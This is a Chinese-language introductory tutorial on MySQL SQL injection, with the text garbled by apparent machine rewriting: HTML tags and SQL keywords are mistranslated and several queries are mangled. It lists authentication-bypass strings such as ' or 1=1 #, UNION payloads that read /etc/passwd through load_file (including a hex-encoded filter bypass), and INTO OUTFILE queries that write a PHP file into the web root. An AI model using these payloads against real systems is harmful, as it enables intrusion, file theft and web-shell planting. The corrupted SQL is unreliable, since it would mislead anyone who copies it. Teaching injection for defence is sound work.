sql注入基础知识的介绍

  介绍

本篇内容介绍了“sql注入基础知识的介绍”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!

<强>什么是sql注入(sql注入)

所谓sql注入式攻击,就是攻击者把sql命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的sql命令。在某些表单中,用户输入的内容直接用来构造(或者影响)动态sql命令,或作为存储过程的输入参数,这类表单特别容易受到sql注入式攻击。

<强> mysql常用注释

,,,#

,,,——(空格]或者是——+

,,,/*…*/

在注意过程中,这些注释可能都需要进行urlencode。

<强> mysql认证绕过

,,,,,00;%

,,,,' or 1=1 #

,,,,“/* !或*/1=1,+

<强> mysql连接符

mysql中使用+来进行连接。

select  *,得到users  where 用户名=& # 39;zhangsan& # 39;,以及“ab"=癮" +“b";

<强> mysql中常见函数

在进行sql注入过程中,会使用到mysql中的内置函数。在内置函数中,又分为获取信息的函数和功能函数。

信息函数是用来获取mysql中的数据库的信息,功能函数就是传统的函数用来完成某项操作。

常用的信息函数有:

,,,<代码>数据库()>

,,,,(): <代码>版本代码> @@version

,,,,用户():<代码> 返回当前的用户,等价如current_user参数。如:

select 用户();# root@localhost   select  current_user, # root@localhost

<代码> @@datadir> select  @@datadir;, # D: \ xampp \ mysql数据\ \

<强>常见的功能函数有:

<代码> load_file(): 从计算机中载入文件,读取文件中的数据。

select  *,得到users  union  select  1, load_file (& # 39;/etc/passwd # 39;), 3;   select  *,得到users  union  select  1, load_file (0 x2f6574632f706173737764), 3,, #使用16进制绕过单引号限制

<代码>为输出文件:写入文件,前提是具有写入权限

select  & # 39; & lt; ? php  phpinfo();, ?祝辞& # 39;,into  outfile  & # 39;/var/www/html/xxx.php& # 39;;   select  char(60、63112104112、32112104112105110102111、40、41岁的59岁,32岁,63年,62年),into  outfile  & # 39;/var/www/html/xxx.php& # 39;;

<代码> concat(): 返回结果为连接参数产生的字符串。如果其中一个参数为null,则返回值为null。

用法如下:

select  concat(用户名、密码)得到用户;

<代码> * concat_ws() :是<代码> concat_ws() 的特殊形式,第一个参数是分隔符,剩下的参数就是字段名。

select  concat_ws(& # 39; & # 39;用户名、密码),得到用户;

<代码> group_concat() :用于合并多条记录中的结果。

用法如下:

select  group_concat(用户名),得到用户;   #返回的就是用户表中所有的用户名,并且是作为一条记录返回。

<代码> subtring() ,<代码> substr(): 用于截断字符串。用法为:<代码> substr (str、pos、长度)> select  substr ((select 数据库()),1,1),

<代码> ascii(): 用法返回字符所对应的ascii值。

select  ascii(& # 39;一个# 39;);,# 97

<代码>长度():返回字符串的长度。

如:

select 长度(“123456”),#返回6

<代码>是(exp1, exp2 exp2):>

如:

select  1, 2,如果(1=1、3、1),# 1、2、3   selecrt  1, 2,如果(1=2、3、1),# 1、2、1

以上就是在进行sql注入工程中常用的函数。当然还存在一些使用的不是很多的函数。

,,,<代码>现在():返回当前的系统时间

,,,<代码>十六进制():返回字符串的16进制

,,,<代码> unhex(): 反向的十六进制()的16进制

,,,<代码> @@basedir(): 反向mysql的安装目录

sql注入基础知识的介绍